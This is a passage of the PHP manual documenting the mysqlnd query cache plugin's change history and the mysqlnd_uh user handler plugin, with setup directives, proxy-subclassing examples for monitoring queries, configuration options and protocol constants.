return_to_cache

Name of the user function implementing the storage handler return_to_cache functionality.

add_query_to_cache_if_not_exists

Name of the user function implementing the storage handler add_query_to_cache_if_not_exists functionality.

query_is_select

Name of the user function implementing the storage handler query_is_select functionality.

update_query_run_time_stats

Name of the user function implementing the storage handler update_query_run_time_stats functionality.

get_stats

Name of the user function implementing the storage handler get_stats functionality.

clear_cache

Name of the user function implementing the storage handler clear_cache functionality.

Return Values

Returns TRUE on success or FALSE on FAILURE.

See Also

  • Procedural user-defined storage handler example

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_set_storage_handler
Change History
mysqlnd_qc Functions


Change History

Table of Contents

  • PECL/mysqlnd_qc 1.1 series
  • PECL/mysqlnd_qc 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_set_user_handlers
PECL/mysqlnd_qc 1.1 series
mysqlnd_qc


PECL/mysqlnd_qc 1.1 series

1.1.0

  • Release date: under development
  • Motto/theme: PHP 5.4 compatbility

Feature changes

  • APC storage handler update

    • Fix build for APC 3.1.9+
    • Note: Use of the APC storage handler is currently not recommended due to stability issues of APC itself.

  • New PHP configuration directive

    • mysqlnd_qc.collect_statistics_log_file

User Contributed Notes

There are no user contributed notes for this page.
Change History
PECL/mysqlnd_qc 1.0 series
Change History


PECL/mysqlnd_qc 1.0 series

1.0.1-stable

  • Release date: 12/2010
  • Motto/theme: Prepared statement support

Added support for Prepared statements and unbuffered queries.

1.0.0-beta

  • Release date: 07/2010
  • Motto/theme: TTL-based cache with various storage options (Memcache, APC, SQLite, user-defined)

Initial public release of the transparent TTL-based query result cache. Flexible storage of cached results. Various storage media supported.

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_qc 1.1 series
mysqlnd_uh
Change History


Mysqlnd user handler plugin

  • Introduction
  • Quickstart and Examples
    • Setup
    • How it works
    • Installing a proxy
    • Basic query monitoring
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
    • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
    • MysqlndUhConnection::close — Closes a previously opened database connection
    • MysqlndUhConnection::connect — Open a new connection to the MySQL server
    • MysqlndUhConnection::__construct — The __construct purpose
    • MysqlndUhConnection::endPSession — End a persistent connection
    • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
    • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
    • MysqlndUhConnection::getErrorString — Returns a string description of the last error
    • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
    • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
    • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.
    • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
    • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
    • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
    • MysqlndUhConnection::getServerStatistics — Gets the current system status
    • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
    • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
    • MysqlndUhConnection::getStatistics — Returns statistics about the client connection.
    • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
    • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
    • MysqlndUhConnection::init — Initialize mysqlnd connection
    • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
    • MysqlndUhConnection::listFields — List MySQL table fields
    • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
    • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
    • MysqlndUhConnection::nextResult — Prepare next result from multi_query
    • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • MysqlndUhConnection::query — Performs a query on the database
    • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
    • MysqlndUhConnection::reapQuery — Get result from async query
    • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
    • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
    • MysqlndUhConnection::selectDb — Selects the default database for database queries
    • MysqlndUhConnection::sendClose — Sends a close command to MySQL
    • MysqlndUhConnection::sendQuery — Sends a query to MySQL
    • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
    • MysqlndUhConnection::setAutocommit — Turns on or off auto-commiting database modifications
    • MysqlndUhConnection::setCharset — Sets the default client character set
    • MysqlndUhConnection::setClientOption — Sets a client option
    • MysqlndUhConnection::setServerOption — Sets a server option
    • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
    • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
    • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
    • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
    • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
    • MysqlndUhConnection::storeResult — Transfers a result set from the last query
    • MysqlndUhConnection::txCommit — Commits the current transaction
    • MysqlndUhConnection::txRollback — Rolls back current transaction
    • MysqlndUhConnection::useResult — Initiate a result set retrieval
  • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • MysqlndUhPreparedStatement::__construct — The __construct purpose
    • MysqlndUhPreparedStatement::execute — Executes a prepared Query
    • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution
  • Mysqlnd_uh Functions
    • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
    • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
    • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements
  • Change History
    • PECL/mysqlnd_uh 1.0 series

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_qc 1.0 series
Introduction
MySQL


Introduction

The mysqlnd user handler plugin (mysqlnd_uh) allows users to set hooks for most internal calls of the MySQL native driver for PHP (mysqlnd). Mysqlnd and its plugins, including PECL/mysqlnd_uh, operate on a layer beneath the PHP MySQL extensions. A mysqlnd plugin can be considered as a proxy between the PHP MySQL extensions and the MySQL server as part of the PHP executable on the client-side. Because the plugins operates on their own layer below the PHP MySQL extensions, they can monitor and change application actions without requiring application changes. If the PHP MySQL extensions (mysqli, mysql, PDO_MYSQL) are compiled to use mysqlnd this can be used for:

  • Monitoring

    • Queries run by any of the PHP MySQL extensions

    • Prepared statements run by any of the PHP MySQL extensions

  • Auditing

    • Detection of databases uses

    • SQL Injection protection using black-/whitelists

  • Assorted

    • Load Balancing connections

As of version PHP 5.3.3 the MySQL native driver for PHP (mysqlnd) features an internal plugin C API. C plugins, such as the mysqlnd user handler plugin, can extend the functionality of mysqlnd. PECL/mysqlnd_uh makes parts of the internal plugin C API available to the PHP user for plugin development with PHP.

The MySQL native driver for PHP is a C library which ships together with PHP as of PHP 5.3.0. It serves as a drop-in replacement for the MySQL Client Library (AKA libmysql/libmysqlclient). As of PHP 5.4.0, mysqlnd is the compile time default library used by all PHP MySQL extensions.

Security considerations

PECL/mysqlnd_uh gives users access to MySQL user names, MySQL password used by any of the PHP MySQL extensions to connect to MySQL. It allows monitoring of all queries and prepared statements exposing the statement string to the user. Therefore, the extension should be installed with care. The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable can be used to prevent users from hooking mysqlnd calls.

Code obfuscators and similar technologies are not suitable to prevent monitoring of mysqlnd library activities if PECL/mysqlnd_uh is made available and the user can install a proxy, for example, using auto_prepend_file.

Documentation note

Many of the extensions functions are described very briefly. This is done intentionally to avoid content duplication. The mysqli extension is often only a thin abstraction layer on top of the MySQL C API, which the mysqlnd library provides. Therefore, the corresponding mysqli documentation respectively the MySQL reference manual can be consulted to get more information on a particular function.

On the name

The shortcut mysqlnd_uh stands for mysqlnd user handler. There may be better names. However, this was the initial choice when development started. Meanwhile, non speaking names have almost become a tradition.

Note:

The mysqlnd user handler plugin is in alpha status. Take appropriate care before using it in production environments.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_uh
Quickstart and Examples
mysqlnd_uh


Quickstart and Examples

Table of Contents

  • Setup
  • How it works
  • Installing a proxy
  • Basic query monitoring

The mysqlnd user handler plugin can be understood as a client-side proxy for all PHP MySQL extensions (mysqli, mysql, PDO_MYSQL), if they are compiled to use the mysqlnd library. The extensions use the mysqlnd library internally, at the C level, to communicate with the MySQL server. PECL/mysqlnd_uh allows it to hook many mysqlnd calls. Therefore, most activities of the PHP MySQL extensions can be monitored.

Because monitoring happens at the level of the library, at a layer below the application, it is possible to monitor applications without changing them.

On the C level, the mysqlnd library is structured in modules or classes. The extension hooks almost all methods of the mysqlnd internal connection class and exposes them through the user space class MysqlndUhConnection. Some few methods of the mysqlnd internal statement class are made available to the PHP user with the class MysqlndUhPreparedStatement. By subclassing the classes MysqlndUhConnection and MysqlndUhPreparedStatement users get access to mysqlnd internal function calls.

Note:

None of the mysqlnd internal function calls has been designed to ever by exposed to the PHP user. Manipulating their activities may cause PHP to crash or leak memory. Often, this is not considered a bug. Please, keep in mind that you are accessing C library functions through PHP which are expected to take certain actions, which you may not be able to emulate in user space. Therefore, it is strongly recommended to always call the parent method implementation when subclassing MysqlndUhConnection or MysqlndUhPreparedStatement. To prevent the worst case, the extension performs some sanity checks. Please, see also Mysqlnd_uh Configure Options.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Setup
mysqlnd_uh


Setup

The plugin is implemented as a PHP extension. Please, follow the installation instructions to install the » PECL/mysqlnd_uh extension. Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_uh.enable. The below example shows the default settings of the extension.

Example #1 Enabling the plugin (php.ini)

mysqlnd_uh.enable=1
mysqlnd_uh.report_wrong_types=1

User Contributed Notes

There are no user contributed notes for this page.
Quickstart and Examples
How it works
Quickstart and Examples


How it works

Note:

You can skip the following and move on to the examples for now, if you are not interested in the inner workings. Please, get back to the background information and read it carefully, if you plan to use PECL/mysqlnd_uh intensively in the future.

Two classes are provided by the extension: MysqlndUhConnection and MysqlndUhPreparedStatement. The first one lets you access almost all methods of the mysqlnd internal connection class. The latter exposes some, selected methods of the mysqlnd internal statement class. For example, MysqlndUhConnection::connect() maps to the mysqlnd library C function mysqlnd_conn__connect.

As a mysqlnd plugin, the PECL/mysqlnd_uh extensions replaces mysqlnd library C functions with its own functions. Whenever a PHP MySQL extension compiled to use mysqlnd, calls a mysqlnd function, the functions installed by the plugin are executed instead of the original mysqlnd ones. If, for example, mysqli_connect() invokes mysqlnd_conn__connect, the connect function installed by PECL/mysqlnd_uh will be called. The functions installed by PECL/mysqlnd_uh are the methods of the built-in classes.

The built-in PHP classes and their methods do nothing but call their mysqlnd C library counterparts, to behave exaclty like the original mysqlnd function they replace. The code below illustrates in pseudo-code what the extension does.

Example #1 Pseudo-code: what a built-in class does

class MysqlndUhConnection {
  public function connect(($conn, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
    MYSQLND* c_mysqlnd_connection = convert_from_php_to_c($conn);
    ...
    return call_c_function(mysqlnd_conn__connect(c_mysqlnd_connection, ...));
  }
}

The build-in classes behave like a transparent proxy. It is possible for you to replace the proxy with your own. This is done by subclassing MysqlndUhConnection or MysqlndUhPreparedStatement to extend the functionality of the proxy, followed by registering a new proxy object. Proxy objects are installed by mysqlnd_uh_set_connection_proxy() and mysqlnd_uh_set_statement_proxy().

Example #2 Installing a proxy

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

User Contributed Notes

There are no user contributed notes for this page.
Setup
Installing a proxy
Quickstart and Examples


Installing a proxy

The extension provides two built-in classes: MysqlndUhConnection and MysqlndUhPreparedStatement. The classes are used for hooking mysqlnd library calls. Their methods correspond to mysqlnd internal functions. By default they act like a transparent proxy and do nothing but call their mysqlnd counterparts. By subclassing the classes you can install your own proxy to monitor mysqlnd.

Please, see How it works for details. However, to get started you do not need to look at the details. Copy the patterns shown in the quickstart instead.

Connections proxies are objects of the type MysqlndUhConnection. Connection proxy objects are installed by mysqlnd_uh_set_connection_proxy(). If you install the built-in class MysqlndUhConnection as a proxy, nothing happens. It behaves like a transparent proxy.

Example #1 Proxy registration, mysqlnd_uh.enable=1

<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable setting controls whether a proxy may be set. If disabled, the extension will throw errors of type E_WARNING

Example #2 Proxy installation disabled

mysqlnd_uh.enable=0
<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

PHP Warning:  MysqlndUhConnection::__construct(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enabled = false.  You must not use any of the base classes in %s on line %d
PHP Warning:  mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed  in %s on line %d

To monitor mysqlnd you have to write your own proxy object subclassing MysqlndUhConnection. Please, see the function reference for a the list of methods that can be subclassed. Alternatively, you can use reflection to inspect the built-in MysqlndUhConnection.

Create a new class proxy. Derive it from the built-in class MysqlndUhConnection. Replace the MysqlndUhConnection::connect(). method. Print out the host parameter value passed to the method. Make sure that you call the parent implementation of the connect method. Failing to do so may give unexpected and undesired results, including memory leaks and crashes.

Register your proxy and open three connections using the PHP MySQL extensions mysqli, mysql, PDO_MYSQL. If the extensions have been compiled to use the mysqlnd library, the proxy::connect method will be called three times, once for each connection opened.

Example #3 Connection proxy

<?php
class proxy extends MysqlndUhConnection {
  public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("Connection opened to '%s'\n", $host);
   /* Always call the parent implementation! */
   return parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
  }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysql = mysql_connect("localhost", "root", "");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
?>

The above example will output:

Connection opened to 'localhost'
Connection opened to 'localhost'
Connection opened to 'localhost'

The use of prepared statement proxies follows the same pattern: create a proxy object of the type MysqlndUhPreparedStatement and install the proxy using mysqlnd_uh_set_statement_proxy().

Example #4 Prepared statement proxy

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, $query);
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL");
?>

The above example will output:

stmt_proxy::prepare(SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL)

User Contributed Notes

There are no user contributed notes for this page.
How it works
Basic query monitoring
Quickstart and Examples


Basic query monitoring

Basic monitoring of a query statement is easy with PECL/mysqlnd_uh. Combined with debug_print_backtrace() it can become a powerful tool, for example, to find the origin of certain statement. This may be desired when searching for slow queries but also after database refactorings to find code still accessing deprecated databases or tables. The latter may be a complicated matter to do otherwise, if the application uses auto-generated queries.

Example #1 Basic Monitoring

<?php
class conn_proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  debug_print_backtrace();
  return parent::query($res, $query);
 }
}
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  debug_print_backtrace();
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_connection_proxy(new conn_proxy());
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

printf("Proxies installed...\n");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
var_dump($pdo->query("SELECT 1 AS _one FROM DUAL")->fetchAll(PDO::FETCH_ASSOC));

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->prepare("SELECT 1 AS _two FROM DUAL");
?>

The above example will output:

#0  conn_proxy->query(Resource id #19, SELECT 1 AS _one FROM DUAL)
#1  PDO->query(SELECT 1 AS _one FROM DUAL) called at [example.php:19]
array(1) {
  [0]=>
  array(1) {
    ["_one"]=>
    string(1) "1"
  }
}
#0  stmt_proxy->prepare(Resource id #753, SELECT 1 AS _two FROM DUAL)
#1  mysqli->prepare(SELECT 1 AS _two FROM DUAL) called at [example.php:22]

For basic query monitoring you should install a connection and a prepared statement proxy. The connection proxy should subclass MysqlndUhConnection::query(). All database queries not using native prepared statements will call this method. In the example the query function is invoked by a PDO call. By default, PDO_MySQL is using prepared statement emulation.

All native prepared statements are prepared with the prepare method of mysqlnd exported through MysqlndUhPreparedStatement::prepare(). Subclass MysqlndUhPreparedStatement and overwrite prepare for native prepared statement monitoring.

User Contributed Notes

There are no user contributed notes for this page.
Installing a proxy
Installing/Configuring
Quickstart and Examples


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Basic query monitoring
Requirements
mysqlnd_uh


Requirements

PHP 5.3.3 or later. It is recommended to use PHP 5.4.0 or later to get access to the latest mysqlnd features.

The mysqlnd_uh user handler plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_uh plugin for mysqlnd.

The alpha versions makes use of some mysqli features. You must enable mysqli to compile the plugin. This requirement may be removed in the future. Note, that this requirement does not restrict you to use the plugin only with mysqli. You can use the plugin to monitor mysql, mysqli and PDO_MYSQL.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd-uh

PECL/mysqlnd_uh is currently not available on Windows. The source code of the extension makes use of C99 constructs not allowed with PHP Windows builds.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_uh Configure Options
Name | Default | Changeable | Changelog
mysqlnd_uh.enable | 1 | PHP_INI_SYSTEM |
mysqlnd_uh.report_wrong_types | 1 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

mysqlnd_uh.enable integer

Enables or disables the plugin. If set to disabled, the extension will not allow users to plug into mysqlnd to hook mysqlnd calls.

mysqlnd_uh.report_wrong_types integer

Wheter to report wrong return value types of user hooks as error of the type E_WARNING. It is strongly recommended to use this setting for detecting possible issues.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Most of the constants refer to details of the MySQL Client Server Protocol. Please, refer to the MySQL reference manual to learn about their meaning. To avoid content duplication, only short descriptions are given.

MysqlndUhConnection::simpleCommand() related

The following constants can be used to detect what command is to be send through MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_COM_SLEEP (integer)
MySQL Client Server protocol command: COM_SLEEP.
MYSQLND_UH_MYSQLND_COM_QUIT (integer)
MySQL Client Server protocol command: COM_QUIT.
MYSQLND_UH_MYSQLND_COM_INIT_DB (integer)
MySQL Client Server protocol command: COM_INIT_DB.
MYSQLND_UH_MYSQLND_COM_QUERY (integer)
MySQL Client Server protocol command: COM_QUERY.
MYSQLND_UH_MYSQLND_COM_FIELD_LIST (integer)
MySQL Client Server protocol command: COM_FIELD_LIST.
MYSQLND_UH_MYSQLND_COM_CREATE_DB (integer)
MySQL Client Server protocol command: COM_CREATE_DB.
MYSQLND_UH_MYSQLND_COM_DROP_DB (integer)
MySQL Client Server protocol command: COM_DROP_DB.
MYSQLND_UH_MYSQLND_COM_REFRESH (integer)
MySQL Client Server protocol command: COM_REFRESH.
MYSQLND_UH_MYSQLND_COM_SHUTDOWN (integer)
MySQL Client Server protocol command: COM_SHUTDOWN.
MYSQLND_UH_MYSQLND_COM_STATISTICS (integer)
MySQL Client Server protocol command: COM_STATISTICS.
MYSQLND_UH_MYSQLND_COM_PROCESS_INFO (integer)
MySQL Client Server protocol command: COM_PROCESS_INFO.
MYSQLND_UH_MYSQLND_COM_CONNECT (integer)
MySQL Client Server protocol command: COM_CONNECT.
MYSQLND_UH_MYSQLND_COM_PROCESS_KILL (integer)
MySQL Client Server protocol command: COM_PROCESS_KILL.
MYSQLND_UH_MYSQLND_COM_DEBUG (integer)
MySQL Client Server protocol command: COM_DEBUG.
MYSQLND_UH_MYSQLND_COM_PING (integer)
MySQL Client Server protocol command: COM_PING.
MYSQLND_UH_MYSQLND_COM_TIME (integer)
MySQL Client Server protocol command: COM_TIME.
MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT (integer)
MySQL Client Server protocol command: COM_DELAYED_INSERT.
MYSQLND_UH_MYSQLND_COM_CHANGE_USER (integer)
MySQL Client Server protocol command: COM_CHANGE_USER.
MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP (integer)
MySQL Client Server protocol command: COM_BINLOG_DUMP.
MYSQLND_UH_MYSQLND_COM_TABLE_DUMP (integer)
MySQL Client Server protocol command: COM_TABLE_DUMP.
MYSQLND_UH_MYSQLND_COM_CONNECT_OUT (integer)
MySQL Client Server protocol command: COM_CONNECT_OUT.
MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED (integer)
MySQL Client Server protocol command: COM_REGISTER_SLAVED.
MYSQLND_UH_MYSQLND_COM_STMT_PREPARE (integer)
MySQL Client Server protocol command: COM_STMT_PREPARE.
MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE (integer)
MySQL Client Server protocol command: COM_STMT_EXECUTE.
MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA (integer)
MySQL Client Server protocol command: COM_STMT_SEND_LONG_DATA.
MYSQLND_UH_MYSQLND_COM_STMT_CLOSE (integer)
MySQL Client Server protocol command: COM_STMT_CLOSE.
MYSQLND_UH_MYSQLND_COM_STMT_RESET (integer)
MySQL Client Server protocol command: COM_STMT_RESET.
MYSQLND_UH_MYSQLND_COM_SET_OPTION (integer)
MySQL Client Server protocol command: COM_SET_OPTION.
MYSQLND_UH_MYSQLND_COM_STMT_FETCH (integer)
MySQL Client Server protocol command: COM_STMT_FETCH.
MYSQLND_UH_MYSQLND_COM_DAEMON (integer)
MySQL Client Server protocol command: COM_DAEMON.
MYSQLND_UH_MYSQLND_COM_END (integer)
MySQL Client Server protocol command: COM_END.

The following constants can be used to analyze the ok_packet argument of MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_PROT_GREET_PACKET (integer)
MySQL Client Server protocol packet: greeting.
MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET (integer)
MySQL Client Server protocol packet: authentification.
MYSQLND_UH_MYSQLND_PROT_OK_PACKET (integer)
MySQL Client Server protocol packet: OK.
MYSQLND_UH_MYSQLND_PROT_EOF_PACKET (integer)
MySQL Client Server protocol packet: EOF.
MYSQLND_UH_MYSQLND_PROT_CMD_PACKET (integer)
MySQL Client Server protocol packet: command.
MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET (integer)
MySQL Client Server protocol packet: result set header.
MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET (integer)
MySQL Client Server protocol packet: resultset field.
MYSQLND_UH_MYSQLND_PROT_ROW_PACKET (integer)
MySQL Client Server protocol packet: row.
MYSQLND_UH_MYSQLND_PROT_STATS_PACKET (integer)
MySQL Client Server protocol packet: stats.
MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET (integer)
MySQL Client Server protocol packet: prepare response.
MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET (integer)
MySQL Client Server protocol packet: change user response.
MYSQLND_UH_MYSQLND_PROT_LAST (integer)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::close() related

The following constants can be used to detect why a connection has been closed through MysqlndUhConnection::close().

MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT (integer)
User has called mysqlnd to close the connection.
MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT (integer)
Implicity close, for example, during garbage connection.
MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED (integer)
Connection error.
MYSQLND_UH_MYSQLND_CLOSE_LAST (integer)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::setServerOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setServerOption().

MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON (integer)
Option: enables multi statement support.
MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF (integer)
Option: disables multi statement support.

MysqlndUhConnection::setClientOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setClientOption().

MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT (integer)
Option: connection timeout.
MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS (integer)
Option: wheter the MySQL compressed protocol is to be used.
MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE (integer)
Option: named pipe to use for connection (Windows).
MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND (integer)
Option: init command to execute upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE (integer)
Option: MySQL server default file to read upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP (integer)
Option: MySQL server default file group to read upon connect.
MYSQLND_UH_MYSQLND_SET_CHARSET_DIR (integer)
Option: charset description files directory.
MYSQLND_UH_MYSQLND_SET_CHARSET_NAME (integer)
Option: charset name.
MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE (integer)
Option: Wheter to allow LOAD DATA LOCAL INFILE use.
MYSQLND_UH_MYSQLND_OPT_PROTOCOL (integer)
Option: supported protocol version.
MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME (integer)
Option: shared memory base name for shared memory connections.
MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT (integer)
Option: connection read timeout.
MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT (integer)
Option: connection write timeout.
MYSQLND_UH_MYSQLND_OPT_USE_RESULT (integer)
Option: unbuffered result sets.
MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION (integer)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION (integer)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION (integer)
TODO
MYSQLND_UH_MYSQLND_SET_CLIENT_IP (integer)
TODO
MYSQLND_UH_MYSQLND_SECURE_AUTH (integer)
TODO
MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION (integer)
Option: Wheter to report data truncation.
MYSQLND_UH_MYSQLND_OPT_RECONNECT (integer)
Option: Wheter to reconnect automatically.
MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT (integer)
Option: TODO
MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE (integer)
Option: mysqlnd network buffer size for commands.
MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE (integer)
Option: mysqlnd network buffer size for reading from the server.
MYSQLND_UH_MYSQLND_OPT_SSL_KEY (integer)
Option: SSL key.
MYSQLND_UH_MYSQLND_OPT_SSL_CERT (integer)
Option: SSL certificate.
MYSQLND_UH_MYSQLND_OPT_SSL_CA (integer)
Option: SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH (integer)
Option: Path to SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER (integer)
Option: SSL cipher.
MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE (integer)
Option: SSL passphrase.
MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR (integer)
Option: server plugin directory.
MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH (integer)
Option: default authentification method.
MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP (integer)
TODO
MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET (integer)
Option: maximum allowd packet size. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL (integer)
Option: TODO. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE (integer)
Option: make mysqlnd return integer and float columns as long even when using the MySQL Client Server text protocol. Only available with a custom build of mysqlnd.

Other

The plugins version number can be obtained using MYSQLND_UH_VERSION or MYSQLND_UH_VERSION_ID. MYSQLND_UH_VERSION is the string representation of the numerical version number MYSQLND_UH_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
